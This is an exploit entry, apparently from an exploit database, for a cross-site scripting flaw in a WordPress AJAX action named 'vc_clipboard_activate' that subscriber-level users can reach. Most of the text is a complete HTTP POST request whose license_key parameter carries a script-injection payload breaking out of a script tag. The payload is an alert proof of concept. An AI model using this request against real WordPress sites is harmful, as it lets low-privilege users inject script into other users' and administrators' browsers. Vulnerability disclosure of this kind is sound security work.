## https://sploitus.com/exploit?id=WPEX-ID:3BC0733A-B949-40C9-A5FB-F56814FC4AF3
When logged in as a user with Subcriber role or greater, submit a request to wp-admin/admin-ajax.php with action = "vc_clipboard_activate" and Javascript can be set in the "email" or "license_key" parameters.
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 101
Connection: close
Cookie: [Subscriber+ cookies]
action=vc_clipboard_activate&email=alertfoo&license_key=</script><script>alert(123);</script><script>